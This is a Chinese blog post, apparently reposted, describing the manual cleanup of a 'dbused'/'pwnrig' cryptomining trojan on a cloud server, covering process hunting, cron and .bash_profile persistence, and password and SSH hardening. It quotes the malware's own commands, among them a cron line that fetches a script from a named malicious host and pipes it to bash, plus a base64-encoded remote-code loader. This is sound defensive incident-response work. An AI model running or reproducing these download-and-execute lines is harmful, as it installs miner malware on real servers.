【學無止境】手動查殺 Cloud Server 挖礦木馬


發現問題

某雲服務器上,接連收到多個警報,示例如下:

png

綜合起來,問題主要集中在以下文件:

/usr/bin/dbused (deleted)
/tmp/x64b (deleted)
/tmp/x64b
/tmp/.dbusex/dbusex

我登陸到服務器控制台一看,CPU使用一直在接近100%的狀態。回想了一下,后台沒有運行什么大量消耗CPU的任務,估計是中了木馬。

初步篩查

使用top查看,發現問題進程如下:

PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND                                         
14167 root      20   0  305000   6544      0 S  99.0   0.3  11:52.84 dbused      

這個 14167 進程,運行了 dbused 命令,使用CPU達到99%,因為是單核CPU,也就是說它一個人霸占了所有CPU資源。幾乎可以肯定罪魁禍首就是它了。

嘗試1

於是,我嘗試殺掉這個進程:kill -9 14167,但是馬上又有一個新的起來了。

所以,除了這個“挖礦”進程之外,肯定還有一個“監工”進程,負責重啟“挖礦”進程。

嘗試2

我又想到,如果我把這個程序文件刪了,它不就重啟不起來了嗎?於是,第二個思路是找到其對應的文件,嘗試刪除:ls -l /proc/14167/exe,結果如下:

lrwxrwxrwx 1 root root 0 Nov 13 16:25 /proc/14167/exe -> '/usr/bin/dbused (deleted)'

嘗試 delete 失敗,因為在 /usr/bin 下面,沒有 dbused 這個文件。(至於為什么后面會講到。)

嘗試3

兩次嘗試失敗,有些氣餒,不過沒關系。我們把能做的先做了。

進入 /tmp 目錄下面,把 x64b, dbusex 等文件都刪了,然后把這個目錄下沒用的 或者 可疑的東西都清理干凈。

這么做的原因有三個:

1.一開始的服務器報警里面提到了這個目錄,非常可疑。
2.我看了一下x64b等文件的內容,非常像挖礦程序產生的中間文件(諸如節點信息,log信息等等)。
3.我確定,自己運行的后台程序不會生產這些文件。

把這些中間文件刪了,只能說是出了口惡氣,源頭還是要掐死。

進一步篩查

分析到這里,其實我們大概知道,系統里面有兩個壞人:

  • 一個是 挖礦 程序
  • 一個是 監工 程序

我們最最關鍵的,是要把那個“監工”的先找出來干掉,否則挖礦的源源不斷。

於是,思路是:檢查定時腳本目錄。

清理定時腳本1

/var/spool 目錄下,發現兩個可疑文件:

/var/spool/cron/crontabs/root
/var/spool/cron/root

腳本如下:

* * * * *     
(curl -s http://bash.givemexyz.in/xms||wget -q -O - http://bash.givemexyz.in/xms)|bash -sh; 
echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei5pbi9kZC5weSIpLnJlYWQoKSkn 
| base64 -d | bash -; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms

大概看了一眼,這個腳本會上一個壞網站,去下載一些壞東西,然后運行起來。
最壞的是,把壞服務起好了之后還會把痕跡刪掉。一肚子壞水。

嘗試rm刪除這兩個文件,報錯:rm: cannot remove 'root': Operation not permitted

哼,這能難得倒我們嗎?

先解鎖文件,然后就可以rm

// 查看鎖
lsattr root
// 解鎖
chattr -ia root
// 刪除
rm -rf root

刪除成功,但是過了一會兒又生成了。說明源頭不在這兒。繼續努力。

清理定時腳本2

我們看一下/etc這個目錄下的文件:ll /etc/cron*,發現一大推壞東西:

cron.d:
total 24
-rw-r--r--. 1 root root 128 Nov  9  2019 0hourly
-rw-r--r--  1 root root 339 Nov 12 02:31 apache
-rw-r--r--  1 root root 108 Nov 13 16:58 nginx
-rwxr-xr-x  1 root root 139 Nov 12 02:33 pwnrig
-rw-r--r--. 1 root root 108 Nov  9  2019 raid-check
-rw-r--r--  1 root root 339 Nov 12 02:31 root

cron.daily:
total 12
-rwxr-xr-x  1 root root 232 Nov 19  2019 exim-tidydb
-rwxr-xr-x. 1 root root 189 Jan  4  2018 logrotate
-rwxr-xr-x  1 root root 139 Nov 12 02:33 pwnrig

cron.hourly:
total 12
-rwxr-xr-x 1 root root 575 Nov  9  2019 0anacron
-rwxr-xr-x 1 root root 321 Nov 12 02:31 oanacroner1
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig

cron.monthly:
total 4
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig

cron.weekly:
total 4
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig

經過甄別,都是木馬,沒有錯殺。下面挑幾個典型的列舉出來看看:

木馬1

/etc/cron.weekly/pwnrig

代碼如下:

cp -f -r -- /bin/crondr /bin/dbused 2>/dev/null
cd /bin 2>/dev/null
./dbused -c  >/dev/null 2>&1
rm -rf -- dbused 2>/dev/null

它會把這個 crondr 文件 copy 到 bin 下重命名為 dbused ,然后運行起來,再刪掉源文件。怪不得當初去找的時候發現文件不存在!

木馬2

/etc/cron.hourly/0anacron

代碼如下:

if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0
fi

# Do not run jobs when on battery power
online=1
for psupply in AC ADP0 ; do
    sysfile="/sys/class/power_supply/$psupply/online"

    if [ -f $sysfile ] ; then
        if [ `cat $sysfile 2>/dev/null`x = 1x ]; then
            online=1
            break
        else
            online=0
        fi
    fi
done
if [ $online = 0 ]; then
    exit 0
fi

非常貼心地還加了句注釋:Do not run jobs when on battery power。這個應該是輔助性文件。

木馬3

/etc/cron.d

目錄如下:

-rw-r--r--. 1 root root 128 Nov  9  2019 0hourly
-rw-r--r--  1 root root 339 Nov 12 02:31 apache
-rw-r--r--  1 root root 108 Nov 13 17:33 nginx
-rwxr-xr-x  1 root root 139 Nov 12 02:33 pwnrig
-rw-r--r--. 1 root root 108 Nov  9  2019 raid-check
-rw-r--r--  1 root root 339 Nov 12 02:31 root

熟悉挖礦的小伙伴應該覺得眼熟吧。

刪除

最終,把這些文件,以及其中提到的其它位置的可疑文件,都統統刪掉!

然后,再把 dbused 進程以及其他可疑進程都殺掉。

做完之后,發現系統占用降下去了,且 dbused 不再重啟,查殺取得階段性勝利!

復查

經過一番折騰,我感覺,這個木馬繁殖性是比較強的。有多個地方都有 監工 腳本,刪了一處,還會有另一處起作用。
所以,一個比較好的做法是,找到所有出現問題的文件,寫一個腳本,然后一起刪。
因為打字畢竟慢,有的時候我剛刪了 A , B 就把 A 重新生成出來了。(Cron job 不就是定時執行的嘛。)

另外,一定要做復查,針對之前的問題程序,再重新掃描一遍系統,看看有沒有漏網之魚。

find / -name "*dbused*"
find / -name "*cron*"
find / -name "*dbusex*"

其實,復查過程中我還發現了好幾個高危的可疑文件,就不列舉出來了,統統干掉!

最后,重啟服務器,然后觀察幾天,如果都沒問題的話,查殺就成功了。

改密碼

最后的最后,問題來了,黑客一開始是怎么把木馬程序放到服務器上的呢?

那肯定是有漏洞啊。

雲端服務器一般都會提供一堆需要額外付費的網絡防護套餐,不差錢的話可以考慮下。

免費的話,我們能做且一定要做的是:

1.先把登錄密碼改了。
2.再把SSH重新搞一遍,把舊的key都作廢。
3.把不用的端口(類似8080,9090之類的)關掉或者限制IP訪問。

后續更新 1

過了幾天,我發現服務器又中招了。。。

分析觀察如下:

  • 把之前的步驟走了一遍,並沒有發現新的病毒文件。
  • 把木馬進程 kill 掉后,發現它變“弱”了許多,並沒有馬上重啟,而是過了好一會才重啟。

搗鼓了一陣,發現了問題所在:

~/.bash_profile中,被注入了病毒代碼:

cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c  >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null

所以,每當我正常執行命令(比如起HDFS集群),然后需要讀取.bash_profile文件的時候,就會同時啟動木馬。(回想一下,服務器高占用時間也正是我上去工作的時間,周末一天閑着反而沒事)

查殺也很簡單,把.bash_profile文件清理,並將相關文件刪除即可。

后續更新 2

又過了一陣子,我發現在啥也不干的時候,服務器上CPU占用很低,但是內存占用非常高,又分析了一陣,推測應該是病毒沒殺干凈,木馬仍然會部分啟動,占用了很高的內存,但是由於網絡被我關了,后續運算無法進行下去。

需要刪掉的可疑文件如下:

# 1
/etc
lrwxrwxrwx   1 root root   10 Nov  9  2019 rc0.d -> rc.d/rc0.d
lrwxrwxrwx   1 root root   10 Nov  9  2019 rc1.d -> rc.d/rc1.d
lrwxrwxrwx   1 root root   10 Nov  9  2019 rc2.d -> rc.d/rc2.d
lrwxrwxrwx   1 root root   10 Nov  9  2019 rc3.d -> rc.d/rc3.d
lrwxrwxrwx   1 root root   10 Nov  9  2019 rc4.d -> rc.d/rc4.d
lrwxrwxrwx   1 root root   10 Nov  9  2019 rc5.d -> rc.d/rc5.d
lrwxrwxrwx   1 root root   10 Nov  9  2019 rc6.d -> rc.d/rc6.d
lrwxrwxrwx   1 root root   13 Feb  5  2020 rc.local -> rc.d/rc.local

# 2
/etc/init.d
-rwxr-xr-x  1 root root  2415 Mar 30 00:27 aegis
-rw-r--r--  1 root root 18440 Aug 23  2019 functions
-rwxr-xr-x  1 root root   250 Nov 12 02:33 pwnrig
-rw-r--r--. 1 root root  1161 Feb  5  2020 README

# 3
/etc/rc.d
drwxr-xr-x. 2 root root 4096 May 10 21:04 init.d
drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc0.d
drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc1.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc2.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc3.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc4.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc5.d
drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc6.d
-rw-r--r--. 1 root root  474 Feb  5  2020 rc.local

其中重點關注pwnrig,對其做一次全盤掃描查殺。

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM